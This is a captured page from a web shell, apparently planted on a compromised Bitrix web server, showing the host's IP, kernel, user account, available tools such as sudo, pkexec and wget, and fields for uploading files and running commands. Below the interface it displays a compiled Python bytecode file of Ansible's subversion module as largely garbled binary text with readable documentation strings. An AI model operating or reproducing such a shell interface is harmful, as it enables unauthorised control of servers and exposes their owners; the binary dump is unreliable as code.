403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/modules/__pycache__/subversion.cpython-311.opt-1.pyc
�

���c�4���ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZddlmZGd	�d
e��Zd�Zedkre��dSdS)
�)�absolute_import�division�print_functiona�
---
module: subversion
short_description: Deploys a subversion repository
description:
   - Deploy given repository URL / revision to dest. If dest exists, update to the specified revision, otherwise perform a checkout.
version_added: "0.7"
author:
- Dane Summers (@dsummersl) <njharman@gmail.com>
options:
  repo:
    description:
      - The subversion URL to the repository.
    type: str
    required: true
    aliases: [ name, repository ]
  dest:
    description:
      - Absolute path where the repository should be deployed.
      - The destination directory must be specified unless I(checkout=no), I(update=no), and I(export=no).
    type: path
  revision:
    description:
      - Specific revision to checkout.
    type: str
    default: HEAD
    aliases: [ rev, version ]
  force:
    description:
      - If C(true), modified files will be discarded. If C(false), module will fail if it encounters modified files.
        Prior to 1.9 the default was C(true).
    type: bool
    default: "no"
  in_place:
    description:
      - If the directory exists, then the working copy will be checked-out over-the-top using
        svn checkout --force; if force is specified then existing files with different content are reverted.
    type: bool
    default: "no"
    version_added: "2.6"
  username:
    description:
      - C(--username) parameter passed to svn.
    type: str
  password:
    description:
      - C(--password) parameter passed to svn when svn is less than version 1.10.0. This is not secure and
        the password will be leaked to argv.
      - C(--password-from-stdin) parameter when svn is greater or equal to version 1.10.0.
    type: str
  executable:
    description:
      - Path to svn executable to use. If not supplied,
        the normal mechanism for resolving binary paths will be used.
    type: path
    version_added: "1.4"
  checkout:
    description:
     - If C(false), do not check out the repository if it does not exist locally.
    type: bool
    default: "yes"
    version_added: "2.3"
  update:
    description:
     - If C(false), do not retrieve new revisions from the origin repository.
    type: bool
    default: "yes"
    version_added: "2.3"
  export:
    description:
      - If C(true), do export instead of checkout/update.
    type: bool
    default: "no"
    version_added: "1.6"
  switch:
    description:
      - If C(false), do not call svn switch before update.
    default: "yes"
    version_added: "2.0"
    type: bool
  validate_certs:
    description:
      - If C(false), passes the C(--trust-server-cert) flag to svn.
      - If C(true), does not pass the flag.
    default: "no"
    version_added: "2.11"
    type: bool
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: posix
notes:
   - This module does not handle externals.

requirements:
    - subversion (the command line tool with C(svn) entrypoint)
a+
- name: Checkout subversion repository to specified folder
  ansible.builtin.subversion:
    repo: svn+ssh://an.example.org/path/to/repo
    dest: /src/checkout

- name: Export subversion directory to folder
  ansible.builtin.subversion:
    repo: svn+ssh://an.example.org/path/to/repo
    dest: /src/export
    export: yes

- name: Get information about the repository whether or not it has already been cloned locally
  ansible.builtin.subversion:
    repo: svn+ssh://an.example.org/path/to/repo
    dest: /src/checkout
    checkout: no
    update: no
�#N)�
AnsibleModule)�get_best_parsable_locale)�LooseVersionc�f�eZdZdZd�Zd�Zdd�Zd�Zdd�Zdd	�Z	d
�Z
d�Zd�Zd
�Z
d�Zd�Zd�ZdS)�
Subversionz^\w+\s?:\s+\d+$c	�v�||_||_||_||_||_||_||_||_dS)N)�module�dest�repo�revision�username�password�svn_path�validate_certs)	�selfr
rrrrrrrs	         �?/usr/lib/python3.11/site-packages/ansible/modules/subversion.py�__init__zSubversion.__init__�sA�������	���	� ��
� ��
� ��
� ��
�,�����c��|j�|jddgd���\}}}t|��td��kS)Nz	--version�--quietT��check_rcz1.10.0)r
�run_commandrr	)r�rc�version�errs    r�has_option_password_from_stdinz)Subversion.has_option_password_from_stdin�sI���;�2�2�D�M�;�PY�3Z�ei�2�j�j���G�S��G�$�$��X�(>�(>�>�>rTc��|jddg}|js|�d��d}|jr|�d|jg��|jrg|���r|�d��|j}n6|j�d��|�d|jg��|�|��|j�	|||�	��\}}}|r|�
��S|S)
zuExecute a subversion command, and return output. If check_rc is False, returns the return code instead of the output.z--non-interactivez--no-auth-cachez--trust-server-certNz
--usernamez--password-from-stdinz�The authentication provided will be used on the svn command line and is not secure. To securely pass credentials, upgrade svn to version 1.10.0 or greater.z
--password)�data)rr�appendr�extendrr!r
�warnr�
splitlines)r�argsr�bits�
stdin_datar�outr s        r�_execzSubversion._exec�s%��
�M���
��
�"�	/��K�K�-�.�.�.��
��=�	7��K�K��t�}�5�6�6�6��=�	;��2�2�4�4�
;����3�4�4�4�!�]�
�
��� � �"k�l�l�l����\�4�=�9�:�:�:����D�����{�.�.�t�X�J�.�O�O���C���	��>�>�#�#�#��Irc�J�|�d|jgd���}|dkS)zChecks if path is a SVN Repo.�infoFrr)r,r)rrs  r�is_svn_repozSubversion.is_svn_repo�s'��
�Z�Z����+�e�Z�
<�
<���Q�w�rFc��dg}|r|�d��|�d|j|j|jg��|�|��dS)z?Creates new svn working directory if it does not already exist.�checkout�--force�-rN�r$r%rrrr,�r�force�cmds   rr1zSubversion.checkout�sW���l���	"��J�J�y�!�!�!��
�
�D�$�-���D�I�>�?�?�?��
�
�3�����rc��dg}|r|�d��|�d|j|j|jg��|�|��dS)zExport svn repo to directory�exportr2r3Nr4r5s   rr9zSubversion.export�sW���j���	"��J�J�y�!�!�!��
�
�D�$�-���D�I�>�?�?�?��
�
�3�����rc��|�dd|j|j|jg��}|D]}t	jd|��rdS�dS)z Change working directory's repo.�switchz
--revision�^[ABDUCGE]\sTF)r,rrr�re�search�r�output�lines   rr;zSubversion.switch�sZ�����X�|�T�]�D�I�t�y�Y�Z�Z���	�	�D��y��$�/�/�
��t�t�
��urc��|�dd|j|jg��}|D]}tjd|��rdS�dS)z&Update existing svn working directory.�updater3r<TF)r,rrr=r>r?s   rrCzSubversion.update�sT�����X�t�T�]�D�I�F�G�G���	�	�D��y��$�/�/�
��t�t�
��urc�z�|�dd|jg��}|D]}tjd|���dS�dS)zRevert svn working directory.�revertz-Rz
^Reverted NTF)r,rr=r>r?s   rrEzSubversion.revert�sN�����X�t�T�Y�7�8�8���	�	�D��y���-�-�5��t�t�6��urc�Z�d�|�d|jg����}tj|j|tj��}|r|�d��}nd}tjd|tj��}|r|�d��}nd}||fS)�1Revision and URL of subversion working directory.�
r.r�Unable to get revisionz^URL\s?:.*$zUnable to get URL)�joinr,rr=r>�REVISION_RE�	MULTILINE�group)r�text�rev�urls    r�get_revisionzSubversion.get_revision�s����y�y����V�T�Y�$7�8�8�9�9���i��(�$���=�=���	+��)�)�A�,�,�C�C�*�C��i���b�l�;�;���	&��)�)�A�,�,�C�C�%�C��C�x�rc���d�|�d|jg����}tj|j|tj��}|r|�d��}nd}|S)rGrHr.rzUnable to get remote revision)rJr,rr=r>rKrLrM)rrNrOs   r�get_remote_revisionzSubversion.get_remote_revisionsa���y�y����V�T�Y�$7�8�8�9�9���i��(�$���=�=���	2��)�)�A�,�,�C�C�1�C��
rc���|�ddd|jg��}tjd��}t	tt
|j|������dkS)zUTrue if revisioned files have been added or modified. Unrevisioned files are ignored.�statusrz--ignore-externalsz^[^?X]r)r,rr=�compile�len�list�filter�match)r�lines�regexs   r�has_local_modszSubversion.has_local_modssW���
�
�H�i�1E�t�y�Q�R�R���
�9�%�%���4��u�{�E�2�2�3�3�4�4�q�8�8rc� �|���\}}d�|�dd|j|jg����}tj|j|t
j��}|r|�	d��}nd}t|�d��d�����}t|�d��d�����}d}||krd	}|||fS)
NrHr.r3rrI�:�FT)
rQrJr,rrr=r>rKrLrM�int�split�strip)r�currrP�out2�head�rev1�rev2�changes        r�needs_updatezSubversion.needs_updates����%�%�'�'�	��c��y�y����V�T�4�=�$�)�$L�M�M�N�N���y��)�4���>�>���	,��:�:�a�=�=�D�D�+�D��4�:�:�c�?�?�1�%�+�+�-�-�.�.���4�:�:�c�?�?�1�%�+�+�-�-�.�.�����$�;�;��F��t�T�!�!rN)T)F)�__name__�
__module__�__qualname__rKrr!r,r/r1r9r;rCrErQrSr]rj�rrrr�s�������%�K�-�-�-�?�?�?�����8���
��������������������"���9�9�9�
"�
"�
"�
"�
"rrc�*	�tttd���tddddg���tddd	d
g���tdd
���td���tdd���td���tdd
���tdd���tdd���tdd���tdd
���tdd
�����
�
d���}|jd}|jd}|jd}|jd}|jd}|jd}|jdp|�dd��}|jd}|jd}	|jd}
|jd}|jd}|jd}
t	|��}t||� ��|_|s|
s|s|r|�d!�"��t||||||||
��}|s-|s+|
s)|�d
|�	���#��|stj�|��srd}d
}|j
r|�d�$��n|s|
s|�d
�$��|s|
r|���d}�n�|�|�%��d}�n}|����r|s|�d
�$��|j
r\|���r|s|�d&�"��|���\}}}|�|||�'��d
}|���}|���}|	r|���p|}|r/|r|���p|}n|�d&�"��|���p|}nc|rGd}|�d�%��d}|���}|r|r|���n|�d(|�d)��"��|r|�d�$��dS|���}|p|}|�|||�'��dS)*N�path)�type�strT�name�
repository)rq�required�aliases�HEADrOr)rq�defaultrv�boolF)rqrx)rq�no_log)
rrrr6rr�
executabler9r1rCr;�in_placer)�
argument_spec�supports_check_moderrrr6rrr{�svnr9r;r1rCr|r)�LANG�LC_MESSAGESzXthe destination directory must be specified unless checkout=no, update=no, and export=no)�msg)�changed�after)r�)r6z.ERROR: modified files exist in the repository.)r��beforer�zERROR: z< folder already exists, but its not a subversion repository.)r�dict�params�get_bin_pathr�run_command_environ_update�	fail_jsonr�	exit_jsonrS�osrp�exists�
check_moder1r9r/r]rjrQr;rErC)r
rrrr6rrrr9r;r1rCr|r�localerr��
local_mods�
files_changed�checkr�r�s                      r�mainr�%s8��
���6�"�"�"��5�4�&�,�9O�P�P�P��u�f�u�i�>P�Q�Q�Q��F�E�2�2�2��u�%�%�%��u�T�2�2�2���(�(�(��V�U�3�3�3��v�t�4�4�4��V�T�2�2�2��V�T�2�2�2��v�u�5�5�5��V�U�;�;�;�
�
�
�!�!���F�&�=�� �D��=�� �D��}�Z�(�H��M�'�"�E��}�Z�(�H��}�Z�(�H��}�\�*�N�f�.A�.A�%��.N�.N�H�
�]�8�
$�F�
�]�8�
$�F��}�Z�(�H�
�]�8�
$�F��}�Z�(�H��]�#3�4�N�&�f�
-�
-�F�(,�&�f�(M�(M�(M�F�%��y�X�y��y�6�y����w��x�x�x�
�V�T�4��8�X�x�Q_�
`�
`�C��I�&�I��I�����c�.E�.E�.G�.G��H�H�H�
�+p�R�W�^�^�D�)�)�+p����
���	,����T��*�*�*�*��	,��	,����U��+�+�+��	!�(�	!��L�L�N�N�N� �M�M��J�J�U�J�#�#�#� �M�M�	���	�	�p��	,����U��+�+�+���	H��!�!�#�#�
W�E�
W�� � �%U� �V�V�V�#&�#3�#3�#5�#5� �E�6�5����U�6���G�G�G��
��!�!�#�#���'�'�)�)�
��	:��J�J�L�L�9�M�M��	W��
W� #�
�
��� =�
�
�
�� � �%U� �V�V�V��
�
���5�
�
�
�	�p������4�� � � ��
��'�'�)�)�
��	�%�	��J�J�L�L�L������hl�hl�hl�n��o�o�o�
�F������&�&�&�&�&�� � �"�"���-�:�������u��E�E�E�E�Er�__main__)�
__future__rrrrq�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr�r=�ansible.module_utils.basicr�"ansible.module_utils.common.localer�#ansible.module_utils.compat.versionr	�objectrr�rkrnrr�<module>r�s���A�@�@�@�@�@�@�@�@�@��
�d�
�L��(
��	�	�	�	�	�	�	�	�4�4�4�4�4�4�G�G�G�G�G�G�<�<�<�<�<�<�T"�T"�T"�T"�T"��T"�T"�T"�n`F�`F�`F�F�z����D�F�F�F�F�F��r

Youez - 2016 - github.com/yon3zu
LinuXploit